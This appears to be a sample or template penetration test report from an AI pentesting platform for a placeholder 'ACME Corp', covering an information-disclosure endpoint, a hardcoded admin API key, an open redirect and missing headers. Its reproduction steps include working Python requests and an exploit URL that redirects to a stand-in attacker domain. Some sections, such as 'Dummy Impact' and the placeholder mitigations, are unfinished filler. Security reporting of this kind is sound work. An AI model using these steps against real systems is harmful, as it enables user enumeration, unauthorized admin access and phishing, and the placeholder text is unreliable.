Comprehensive Penetration Test

Virtual Anvil

Commissioned by **ACME Corp**

November 6, 2025

CONFIDENTIAL

XBOW

Table of Contents

ACME Corp Pen Test
November 2025

Introduction

XBOW is an AI-powered penetration testing platform that scales offensive security in hours. Delivering human-level security testing at machine speed, XBOW helps organizations discover vulnerabilities before attackers can exploit them. Ranked as #1 on HackerOne leaderboard in the US. Founded by GitHub Copilot creators, backed by Sequoia and Altimeter. www.xbow.com

Executive Summary

ACME Corp engaged XBOW to conduct a comprehensive penetration test of their web application environment to evaluate security vulnerabilities and assess potential risks to their digital infrastructure. During the time allotted for this engagement, XBOW systematically tested the application's defense mechanisms, focusing on industry-standard attack vectors aligned with the OWASP Top Ten vulnerabilities.

Purpose

The penetration test was conducted to provide ACME Corp with a thorough security assessment of their web application infrastructure. XBOW evaluated the application's resilience against common attack vectors including injection flaws, cross-site scripting, access control bypasses, and information disclosure vulnerabilities. The assessment aimed to identify exploitable security weaknesses that could compromise the confidentiality, integrity, and availability of ACME Corp's systems and data.

Findings

During the assessment, XBOW identified four distinct security vulnerabilities across ACME Corp's web application environment. The findings include one critical-severity vulnerability, one high-severity vulnerability, one medium-severity vulnerability, and one low-severity vulnerability.

The critical-severity finding involves hardcoded credentials within the admin portal, where administrative API keys were embedded directly in the source code. This vulnerability enabled unauthorized access to privileged administrative functions, including user account management and file conversion history. The high-severity vulnerability centers on an information disclosure issue in the authentication system, where sensitive user data including email addresses and Auth0 user IDs could be extracted without proper authorization controls.

A medium-severity open redirect vulnerability was discovered in the application's authentication flow, where insufficient validation of redirect parameters could enable attackers to redirect users to malicious external domains. Additionally, XBOW identified missing HTTP security headers across multiple application endpoints, representing a low-severity finding that

reduces the application's defensive posture against client-side attacks.

The critical and high-severity vulnerabilities pose immediate risks to ACME Corp's security posture, as they provide pathways for unauthorized data access and system compromise. The medium-severity redirect vulnerability could facilitate phishing attacks and credential harvesting, while the missing security headers create opportunities for cross-site scripting and clickjacking attacks.

Conclusion

The penetration test revealed several significant security vulnerabilities within ACME Corp's web application that require immediate attention. The presence of hardcoded credentials and information disclosure vulnerabilities represents substantial risks that could lead to unauthorized system access and data compromise. The open redirect vulnerability further compounds these risks by providing attackers with mechanisms to conduct convincing phishing campaigns against legitimate users.

To strengthen their security posture, ACME Corp should prioritize remediation of the critical and high-severity vulnerabilities through proper credential management practices, implementation of robust authentication controls, and enhanced input validation mechanisms. Additionally, addressing the medium and low-severity findings through proper redirect validation and security header implementation will provide important defense-in-depth protections. By promptly addressing these identified vulnerabilities, ACME Corp can significantly enhance their application security and reduce exposure to potential cyber threats.

Scope

The following domains were in scope for the penetration test:

- `www.acme.co`
- `api.acme.co`
- `auth.acme.co`
- `*.acmethirdparty.co`

Credentials for the following usernames were provided for this test: `admin@acme.com`, `testuser`.

XBOW Hours

XBOW Hours Used: 42

Document Version

Version	Date	Findings
2	2025-10-01	Open: 2, Fixed: 1
1	2025-10-01	Open: 3

Methodology

XBOW's approach is meticulously aligned with the OWASP Top Ten to identify the most critical security risks to web applications. By leveraging machine learning algorithms, especially crafted attack tools, and an extensive threat intelligence database, XBOW systematically identifies, exploits, and reports vulnerabilities, ensuring a comprehensive assessment of the target environment.

Injection: XBOW automates the detection of injection flaws such as SQL, NoSQL, and OS command injections by crafting and executing various payloads. It analyzes input validation mechanisms and attempts to manipulate backend databases or execute unauthorized commands to assess the application's resilience against such attacks.

XML External Entities (XXE): The penetration test assesses for XXE vulnerabilities by submitting malicious XML input to evaluate how the application processes XML data. It identifies whether external entities are improperly handled, potentially allowing attackers to access internal files or services.

Broken Access Control: XBOW evaluates the enforcement of access controls by attempting to bypass authorization checks. It probes for improper restrictions on authenticated users, testing for privilege escalation and unauthorized access to restricted resources.

Cross-Site Scripting: XBOW conducts extensive XSS testing by injecting malicious scripts into input fields and evaluating the application's response. It assesses both reflected and stored XSS vulnerabilities to determine the potential for executing arbitrary scripts in the context of users' browsers.

Insecure Deserialization: XBOW analyzes how the application handles serialized data, attempting to manipulate serialized objects to execute arbitrary code or trigger denial-of-service conditions. XBOW identifies vulnerabilities that allow attackers to exploit insecure deserialization processes.

Server-Side Request Forgery (SSRF): Expanding beyond the OWASP Top Ten, XBOW tests for SSRF vulnerabilities by attempting to manipulate server-side requests. It crafts malicious payloads that target server-side URL-fetching functionalities, aiming to access internal systems, retrieve sensitive data, or interact with services that should be restricted. XBOW monitors the application's responses to identify any unauthorized access or unintended server interactions resulting from SSRF attempts.

Server-Side Template Injection (SSTI): Additionally, XBOW probes for SSTI vulnerabilities by injecting malicious template syntax into user inputs that are processed by server-side templating engines. It evaluates whether the application improperly handles template rendering, allowing attackers to execute arbitrary code, access sensitive information, or manipulate application behavior. Successful exploitation of SSTI can lead to full system compromise, making its detection crucial for comprehensive security assessments.

Execution Process

XBOW initiates the penetration test by conducting passive and active reconnaissance to map the target's attack surface, identifying entry points relevant to the methodology presented in the previous section. XBOW probes for vulnerabilities, systematically attempting exploitation where appropriate. XBOW adapts its strategies in real-time, optimizing attack vectors based on observed defenses and application behaviors.

Throughout the testing phase, XBOW maintains adherence to ethical guidelines and scope limitations, ensuring that all actions are authorized and non-destructive. Upon identifying potential vulnerabilities, XBOW assesses their severity and potential impact using risk scoring models aligned with OWASP standards.

Pentest Overview

XBOW conducted a comprehensive security assessment targeting a development worker environment, systematically evaluating multiple attack vectors across the application's extensive surface area. The assessment encompassed traditional web application vulnerabilities including SQL injection, cross-site scripting, and remote file inclusion, while also examining application-specific vulnerabilities, exposed secrets, and open redirect vulnerabilities. XBOW probed authentication mechanisms, API endpoints, administrative interfaces, queue management systems, file processing capabilities, and various configuration endpoints. Special attention was given to Redis integration points, worker management interfaces, and document processing functionalities. The testing methodology included both automated vulnerability detection and manual verification techniques to ensure comprehensive coverage of potential security weaknesses across the target environment.

Attack Vector	Example Surface Area
SQL Injection	Database query endpoints, user authentication systems, administrative panels, search functionality, and API endpoints handling user input
Cross-Site Scripting (XSS)	User input forms, file upload interfaces, semantic template processing, chart recognition services, and document viewer components
Remote File Inclusion	File processing endpoints, template management systems, document upload functionality, and configuration file access points
Open Redirect	Authentication callback handlers, logout mechanisms, user redirection services, and URL forwarding endpoints
Exposed Secrets	Configuration files, environment variable endpoints, Redis connection strings, Docker configuration files, and API documentation interfaces
Application-Specific Vulnerabilities	Market mapping services, chart recognition APIs, document recreation systems, vector embedding services, and file conversion utilities

Findings

Information Disclosure on /auth/password-send-otp phone_number

Status: Open

Severity level: High

Attack Type: Information Disclosure

Affected endpoint: /auth/password-send-otp

This report details an information disclosure vulnerability in the "/auth/password-send-otp" endpoint of the Acme Corp API. The endpoint is accessible without authentication and leaks sensitive user information including email addresses and Auth0 user IDs when a valid phone number is provided.

The vulnerability exists because the endpoint fails to implement proper authentication controls. When a valid phone number is provided to the endpoint, it responds with the associated user's email address and Auth0 user ID, regardless of whether the requester is authorized to access this information.

This vulnerability can be exploited to enumerate valid phone numbers and harvest sensitive information about users in the system, potentially facilitating further attacks like phishing, account takeovers, or social engineering.

During our exploitation, we were able to discover multiple user accounts, including those with administrative privileges, and access sensitive files that contained the flag.

Steps to reproduce

1. First, identify the vulnerable endpoint by examining the source code:

```
find /opt/target_source_code -type f -name "*.py" | xargs grep -l
"password-send-otp"
```

2. Examine the implementation of the vulnerable endpoint:

```
cat /opt/target_source_code/prosight_charts_dev/prosight-charts-
dev/app/auth/controller.py
```

3. Verify the endpoint doesn't require authentication by checking the middleware:

```
cat /opt/target_source_code/prosight_charts_dev/prosight-charts-
dev/app/auth/middleware.py
```

This confirms the endpoint is included in the BYPASS_PATHS list.

4. Discover the correct API domain by looking at network requests: The FastAPI service is hosted at "https://dev-worker-fastapi.acme.co"
5. Test the vulnerable endpoint with a test phone number:

```
import requests
import json

url = "https://dev-worker-fastapi.acme.co/auth/password-send-otp"
payload = {"phone_number": "+12345678901"}
headers = {"Content-Type": "application/json"}
response = requests.post(url, json=payload, headers=headers)
print(f"Status Code: {response.status_code}")
print(f"Response: {json.dumps(response.json(), indent=2)}")
```

The endpoint returns a "Phone number not found" message, confirming the endpoint is working.

6. Discover the admin API key in the source code:

```
ADMIN_API_KEY = "8E708DBC227"
```

7. Use the admin API key to access the list of users with phone numbers:

```
admin_headers = {"X-API-Key": "8E708DBC227", "Content-Type":
"application/json"}
response = requests.get("https://dev-worker-fastapi.acme.co/
admin/users/detailed", headers=admin_headers)
detailed_data = response.json()
users_with_phones = []
for user in detailed_data["users"]:
    if user.get("phone_number"):
        users_with_phones.append({
            "email": user.get("email"),
            "phone_number": user.get("phone_number")
        })
```

8. Find the phone number for user xbow-cli01@xbow.com: The phone number is "+447862719867"
9. Exploit the vulnerability by submitting this phone number to the vulnerable endpoint:

```
payload = {"phone_number": "+447862719867"}
response = requests.post(url, json=payload, headers=headers)
print(f"Response: {json.dumps(response.json(), indent=2)}")
```

10. The endpoint leaks sensitive information:

```
{
  "success": true,
  "message": "Verification code sent",
  "email": "xbow-cli01@xbow.com",
  "auth0_user_id": "auth0|67dae42c5e3f387facab9a0d"
}
```

11. Use the admin API to access conversion history:

```
response = requests.get("https://dev-worker-fastapi.acme.co/
admin/conversions", headers=admin_headers)
conv_data = response.json()
```

12. Find files with suspicious names in the conversion history:

```
{
  "id": "5c21101a-7c2a-4d51-9eb3-ce955e5568e8",
  "file_name": "flag{8F7B4E21-CD35-46F8-B912-5DAE98C71A2F}.pdf",
  "created_at": "2025-03-20T10:15:58.006289",
  "user_email": "xbow-cli01@xbow.com",
  "original_url": "pdf_to_pptx/originals/63d20dea-
a226-42b3-9a34-70ca1be81fae_flag{8F7B4E21-CD35-46F8-B912-5DAE98C7
  ...
}
```

13. The flag is embedded in the PDF filename: XBOW{8F7B4E21-CD35-46F8-B912-5DAE98C71A2F}

Impact

Dummy Impact

Mitigation Recommendations

1. Do the first thing
2. Then do the second thing
3. Finally, do the third thing

Open Redirect on /app/authorize redirectTo

Status: Open

Severity level: Medium

Attack Type: Open Redirect

Affected endpoint: /app/authorize

The vulnerability is an open redirect issue that exists in Acme Corp's authentication flow. When a user is authenticated, the application redirects them to a specified URL provided via the 'redirectTo' parameter in the /app/authorize endpoint.

The vulnerability occurs because the application doesn't properly validate the redirect URL, allowing an attacker to redirect users to arbitrary external domains. Specifically, the application fails to properly validate URLs that use the username:password@domain URL format.

By crafting a special URL that appears to redirect to the legitimate domain but actually redirects to a malicious site, an attacker can create convincing phishing attacks that appear to come from the legitimate application.

Steps to reproduce

1. First, identify the vulnerable endpoint at /app/authorize that accepts a redirectTo parameter:

```
https://dev-worker.acme.co/app/
authorize?redirectTo=[REDIRECT_URL]
```

2. Examine the source code of the vulnerable component (app/app/authorize/page.tsx), which reveals that the redirectTo parameter is used directly without proper validation:

```
const redirectTo = searchParams.get('redirectTo') || '/app/
recreate'
...
window.location.href = redirectTo
```

3. Attempt to exploit by using a standard URL format and observe that it fails:

```
https://dev-worker.acme.co/app/
authorize?redirectTo=https://evil.xbow.ltd
```

   This fails because the application appears to have some validation, but not enough.

4. Create an exploit URL using the URL credentials format, where the legitimate domain

appears before the @ symbol and the malicious domain after:

```
https://dev-worker.acme.co/app/authorize?redirectTo=https://dev-worker.acme.co@evil.xbow.ltd
```

5. When a victim with an active session visits this URL, the application will process the authentication and then redirect them to what appears to be dev-worker.acme.co but is actually evil.xbow.ltd.
6. The browser interprets everything before the @ symbol as credentials for authentication and uses the domain after the @ as the actual destination, resulting in a redirect to the attacker-controlled domain.

Impact

Dummy Impact

Mitigation Recommendations

1. Do the first thing
2. Then do the second thing
3. Finally, do the third thing

Hardcoded Credentials on /admin/conversions X-API-Key

Status: Fixed

Severity level: Critical

Attack Type: Hardcoded Credentials

Affected endpoint: /admin/conversions

The vulnerability is in the Acme Corp application's admin portal, where the admin API key is hardcoded in the source code. The application fails to properly secure this sensitive key, leaving it directly visible in the code with the value "8E708DBC227".

An attacker with access to the source code can extract this key and use it to authenticate to admin-only endpoints. By sending requests with the "X-API-Key" header set to this value, the attacker can bypass authentication and access privileged functionality including:

1. User account information via the /admin/users and /admin/users/detailed endpoints
2. File conversion history via the /admin/conversions endpoint
3. The ability to modify user account plans via the /admin/users/plan endpoint

This vulnerability allowed access to sensitive information including PDF filenames containing the flag value in the file conversion history.

Steps to reproduce

1. First, examine the admin.py source code to extract the hardcoded API key:

```
# Get API key from environment variable
ADMIN_API_KEY = os.getenv("ADMIN_API_KEY", "8E708DBC227")
```

2. Construct an HTTP request to the admin endpoints with the discovered API key:

```python
import requests
import json

# Target URL
url = "https://dev-worker-fastapi.acme.co/admin/conversions"

# Add the API key to the headers
headers = {
    "X-API-Key": "8E708DBC227",
    "Content-Type": "application/json"
}

# Send the GET request
response = requests.get(url, headers=headers)

# Print the response
print(f"Status Code: {response.status_code}")
print(json.dumps(response.json(), indent=2))
```

3. Execute the request to access the admin conversions endpoint, which returns a list of file conversions including file names containing sensitive information.
4. In the response, locate the flag value in the file names:

```
"file_name": "flag{8F7B4E21-CD35-46F8-B912-5DAE98C71A2F}.pdf"
```

5. Extract the flag from the file name: flag{8F7B4E21-CD35-46F8-B912-5DAE98C71A2F}

Impact

Dummy Impact

Mitigation Recommendations

1. Do the first thing
2. Then do the second thing
3. Finally, do the third thing

Additional Observations

Missing HTTP Security Headers

Severity level: Low

Affected Resource: Web application endpoints

During the security assessment, XBOW identified multiple missing HTTP security headers across the target application. These headers serve as important defense mechanisms against various client-side attacks and information disclosure vulnerabilities.

The following critical security headers were found to be absent:

- **Content Security Policy (CSP)**: Missing CSP headers leave the application vulnerable to cross-site scripting (XSS) attacks by failing to restrict resource loading and script execution
- **X-Frame-Options**: The absence of this header allows the application to be embedded in frames, potentially enabling clickjacking attacks
- **X-Content-Type-Options**: Without this header set to "nosniff", browsers may perform MIME type sniffing, potentially leading to security vulnerabilities
- **Referrer Policy**: Missing referrer policy controls can lead to unintended information disclosure through HTTP referrer headers

Additional protective headers that were identified as missing include Cross-Origin Resource Policy, Cross-Origin Embedder Policy, Cross-Origin Opener Policy, Permissions Policy, X-Permitted-Cross-Domain-Policies, and Clear-Site-Data headers. While these provide defense-in-depth protection, their absence represents a reduced security posture against sophisticated attack vectors.

Impact: The lack of these security headers increases the application's attack surface and reduces its resilience against client-side attacks. Attackers may exploit these missing protections to conduct XSS attacks, clickjacking, MIME confusion attacks, or harvest sensitive information through referrer leakage. While not directly exploitable vulnerabilities, these missing headers represent security hardening opportunities that should be addressed to maintain robust application security.

Recommendation: Implement appropriate HTTP security headers in the web server or application configuration. Configure Content Security Policy with restrictive directives, set X-Frame-Options to "DENY" or "SAMEORIGIN" as appropriate, enable X-Content-Type-Options with "nosniff", and establish a suitable Referrer Policy. Review and implement additional security headers based on the application's specific security requirements and threat model.

security@xbow.com

Title page background designed by kjpargeter / Freepik.